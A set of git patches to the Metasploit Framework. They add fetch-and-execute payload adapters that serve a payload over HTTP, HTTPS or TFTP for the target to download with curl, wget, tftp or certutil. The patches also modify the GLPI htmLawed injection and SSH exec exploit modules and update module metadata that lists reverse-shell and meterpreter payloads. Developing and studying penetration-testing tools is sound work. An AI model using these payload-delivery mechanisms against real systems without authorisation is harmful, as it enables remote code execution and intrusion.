+1,23 @@ +module Msf::Payload::Adapter::Fetch::HTTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::HTTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb new file mode 100644 index 0000000000000..d83267125542c --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::Https + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::Https + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_http_fetch_service(@fetch_service, @delete_resource) + super + end + + def setup_handler + @fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb new file mode 100644 index 0000000000000..4c162e934a46c --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]) + ] + ) + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb new file mode 100644 index 0000000000000..74556663dc69b --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -0,0 +1,24 @@ +module Msf::Payload::Adapter::Fetch::Server::HTTP + include Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin. + # We just remove the HTTPS Options so the user does not see them. + # + + def initialize(*args) + super + deregister_options('FETCH_SSL', + 'FETCH_CHECK_CERT', + 'FetchSSLCert', + 'FetchSSLCompression', + 'FetchSSLCipher', + 'FetchSSLCipher', + 'FetchSSLVersion' + ) + end + + def fetch_protocol + 'HTTP' + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/https.rb b/lib/msf/core/payload/adapter/fetch/server/https.rb new file mode 100644 index 0000000000000..47127b47506d1 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/https.rb @@ -0,0 +1,153 @@ +module Msf::Payload::Adapter::Fetch::Server::Https + + # This mixin supports both HTTP and HTTPS fetch handlers. If you only want + # HTTP, use the HTTP mixin that imports this, but removes the HTTPS options + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false]) + + ] + ) + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']), + Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']), + Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]), + Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']), + Msf::OptEnum.new('FetchSSLVersion', + 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', + enums: Rex::Socket::SslTcp.supported_ssl_methods) + ] + ) + end + + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.") + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") + end + + def cleanup_http_fetch_service(fetch_service, delete_resource) + unless fetch_service.nil? + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + if fetch_service.resources.include?(escaped_srvuri) && delete_resource + fetch_service.remove_resource(escaped_srvuri) + end + fetch_service.deref + if fetch_service.resources.empty? + # if we don't call deref, we cannot start another httpserver + # this is a reimplementation of the cleanup_service method + # in Exploit::Remote::SocketServer + temp_service = fetch_service + fetch_service = nil + temp_service.cleanup + temp_service.deref + end + end + end + + def fetch_protocol + 'HTTPS' + end + + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) + end + + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end + + def ssl_cert + datastore['FetchSSLCert'] + end + + def ssl_compression + datastore['FetchSSLCompression'] + end + + def ssl_cipher + datastore['FetchSSLCipher'] + end + + def ssl_version + datastore['FetchSSLVersion'] + end + + def start_http_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}") + end + vprint_status('HTTP server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status('HTTPS server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}") + fetch_service + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb new file mode 100644 index 0000000000000..ad689fcee6fcd --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -0,0 +1,36 @@ +module Msf::Payload::Adapter::Fetch::Server::TFTP + + def start_tftp_server(srvport, srvhost) + vprint_status("Starting TFTP server on #{srvhost}:#{srvport}") + Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) + end + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_SRVONCE', [ true, 'Stop serving the payload after it is retrieved', true ]) + ] + ) + end + def cleanup_tftp_fetch_service(fetch_service) + fetch_service.stop unless fetch_service.nil? + end + + def fetch_protocol + 'TFTP' + end + + def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) + fetch_service = start_tftp_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}") + end + fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) + fetch_service.start + fetch_service + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb new file mode 100644 index 0000000000000..acda02eb9becd --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::TFTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::TFTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_tftp_fetch_service(@fetch_service) + super + end + + def setup_handler + @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb new file mode 100644 index 0000000000000..3a044b32444b3 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '%TEMP%' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]) + ] + ) + end +end diff --git a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb index 8c43250f23a17..21e87d26efef1 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb @@ -122,7 +122,7 @@ def generate_uri(opts={}) # Generate the URI for the initial stager # def generate_small_uri - generate_uri_uuid_mode(:init_native, 5) + generate_uri_uuid_mode(:init_native, 30) end # diff --git a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb index 405b20b829c50..7857379bb53fa 100644 --- a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb +++ b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb @@ -30,18 +30,17 @@ def initialize(info = {}) ], 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_CMD], - 'CmdStagerFlavor' => [ 'printf' ], + 'CmdStagerFlavor' => [ 'printf', 'wget' ], 'Targets' => [ [ - 'Unix Command', + 'Nix Command', { - 'Platform' => 'unix', + 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 } } ], @@ -52,12 +51,11 @@ def initialize(info = {}) 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 }, 'Type' => :linux_dropper } - ], + ] ], 'DisclosureDate' => '2022-01-26', 'DefaultTarget' => 0, @@ -68,10 +66,15 @@ def initialize(info = {}) } ) ) + register_options( + [ + Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi']) + ] + ) end def populate_values - uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php" + uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php" begin res = send_request_cgi({ 'method' => 'GET', @@ -93,7 +96,7 @@ def populate_values def execute_command(cmd, _opts = {}) populate_values if @sid.nil? || @token.nil? - uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index e0bdcaab94a57..9e872d344fdb1 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -41,6 +41,13 @@ def initialize 'CmdStagerFlavor' => %w[bourne echo printf wget], 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'linux' + } + ], [ 'Linux x86', { @@ -237,7 +244,11 @@ def exploit when 'unix' execute_command(payload.encoded) else - execute_cmdstager(linemax: 500) + if target['Arch'] == ARCH_CMD + execute_command(payload.encoded) + else + execute_cmdstager(linemax: 500) + end end @timeout ? ssh_socket.shutdown! : ssh_socket.close diff --git a/modules/payloads/adapters/cmd/linux/http/x64.rb b/modules/payloads/adapters/cmd/linux/http/x64.rb new file mode 100644 index 0000000000000..4e6c18dd6b622 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/x64.rb b/modules/payloads/adapters/cmd/linux/https/x64.rb new file mode 100644 index 0000000000000..34bf2e4e8de96 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/x64.rb b/modules/payloads/adapters/cmd/linux/tftp/x64.rb new file mode 100644 index 0000000000000..0fad3c06a78cf --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from a TFTP server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb new file mode 100644 index 0000000000000..0f3bf296de8a4 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb new file mode 100644 index 0000000000000..d4c8f33ed0811 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb new file mode 100644 index 0000000000000..5b8cd853ce0ad --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from a tftp server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 29f94fe3e20cf..b79ac25cbff4c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -508,6 +508,30 @@ reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/linux/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x64' + ], + reference_name: 'cmd/linux/http/x64' + end + + context 'cmd/linux/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x64' + ], + reference_name: 'cmd/linux/https/x64' + end + + context 'cmd/linux/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/x64' + ], + reference_name: 'cmd/linux/tftp/x64' + end + context 'cmd/mainframe/generic_jcl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1116,6 +1140,22 @@ reference_name: 'cmd/windows/generic' end + context 'cmd/windows/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64' + ], + reference_name: 'cmd/windows/http/x64' + end + + context 'cmd/windows/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64' + ], + reference_name: 'cmd/windows/https/x64' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -1212,6 +1252,14 @@ reference_name: 'cmd/windows/jjs_reverse_tcp' end + context 'cmd/windows/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/tftp/x64' + ], + reference_name: 'cmd/windows/tftp/x64' + end + context 'firefox/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 61569a0b2e09a4d2d245e48bd511cd1b8eb733f6 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 18 May 2023 11:43:04 -0500 Subject: [PATCH 145/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 17038 +++++++++++++++++++++++++------- 1 file changed, 13288 insertions(+), 3750 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index ef759d7214198..c1bab41234238 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -64245,10 +64245,10 @@ "https" ], "targets": [ - "Unix Command", + "Nix Command", "Linux (Dropper)" ], - "mod_time": "2022-10-24 11:48:33 +0000", + "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb", "is_install_path": true, "ref_name": "linux/http/glpi_htmlawed_php_injection", @@ -104187,6 +104187,7 @@ ], "targets": [ + "Linux Command", "Linux x86", "Linux x64", "Linux armle", @@ -104201,7 +104202,7 @@ "Unix Cmd", "Interactive SSH" ], - "mod_time": "2022-03-24 22:52:15 +0000", + "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/exploits/multi/ssh/sshexec.rb", "is_install_path": true, "ref_name": "multi/ssh/sshexec", @@ -176570,9 +176571,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/mainframe/apf_privesc_jcl": { - "name": "JCL to Escalate Privileges", - "fullname": "payload/cmd/mainframe/apf_privesc_jcl", + "payload_cmd/linux/http/x64/exec": { + "name": "HTTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/http/x64/exec", "aliases": [ ], @@ -176580,23 +176581,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls", - "Ayoub" + "Brendan Watters", + "ricky", + "Geyslan G. Bem " ], - "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", + "description": "Fetch and Execute an x64 payload from an http server.\n\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], - "platform": "Mainframe", + "platform": "Linux", "arch": "cmd", - "rport": 21, + "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/apf_privesc_jcl", + "ref_name": "cmd/linux/http/x64/exec", "check": false, "post_auth": false, "default_credential": false, @@ -176605,9 +176607,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/mainframe/bind_shell_jcl": { - "name": "Z/OS (MVS) Command Shell, Bind TCP", - "fullname": "payload/cmd/mainframe/bind_shell_jcl", + "payload_cmd/linux/http/x64/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -176615,22 +176617,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "Brent Cook ", + "ricky" ], - "description": "Provide JCL which creates a bind shell\n This implmentation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection", "references": [ ], - "platform": "Mainframe", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/bind_shell_jcl", + "ref_name": "cmd/linux/http/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176639,9 +176643,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/mainframe/generic_jcl": { - "name": "Generic JCL Test for Mainframe Exploits", - "fullname": "payload/cmd/mainframe/generic_jcl", + "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": { + "name": "HTTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_sctp", "aliases": [ ], @@ -176649,22 +176653,24 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "Brent Cook ", + "RageLtMan " ], - "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Mainframe", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/generic_jcl", + "ref_name": "cmd/linux/http/x64/meterpreter/reverse_sctp", "check": false, "post_auth": false, "default_credential": false, @@ -176673,9 +176679,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/mainframe/reverse_shell_jcl": { - "name": "Z/OS (MVS) Command Shell, Reverse TCP", - "fullname": "payload/cmd/mainframe/reverse_shell_jcl", + "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -176683,22 +176689,25 @@ "disclosure_date": null, "type": "payload", "author": [ - "Bigendian Smalls" + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" ], - "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", "references": [ ], - "platform": "Mainframe", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/mainframe/reverse_shell_jcl", + "ref_name": "cmd/linux/http/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176707,9 +176716,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_awk": { - "name": "Unix Command Shell, Bind TCP (via AWK)", - "fullname": "payload/cmd/unix/bind_awk", + "payload_cmd/linux/http/x64/pingback_bind_tcp": { + "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp", "aliases": [ ], @@ -176717,23 +176726,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "espreto ", - "Ulisses Castro " + "Brendan Watters", + "bwatters-r7" ], - "description": "Listen for a connection and spawn a command shell via GNU AWK", + "description": "Fetch and Execute an x64 payload from an http server.\n\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_awk.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_awk", + "ref_name": "cmd/linux/http/x64/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176742,9 +176751,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_busybox_telnetd": { - "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", - "fullname": "payload/cmd/unix/bind_busybox_telnetd", + "payload_cmd/linux/http/x64/pingback_reverse_tcp": { + "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x64/pingback_reverse_tcp", "aliases": [ ], @@ -176752,22 +176761,23 @@ "disclosure_date": null, "type": "payload", "author": [ - "Matthew Kienow " + "Brendan Watters", + "bwatters-r7" ], - "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_busybox_telnetd", + "ref_name": "cmd/linux/http/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -176776,9 +176786,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/unix/bind_inetd": { - "name": "Unix Command Shell, Bind TCP (inetd)", - 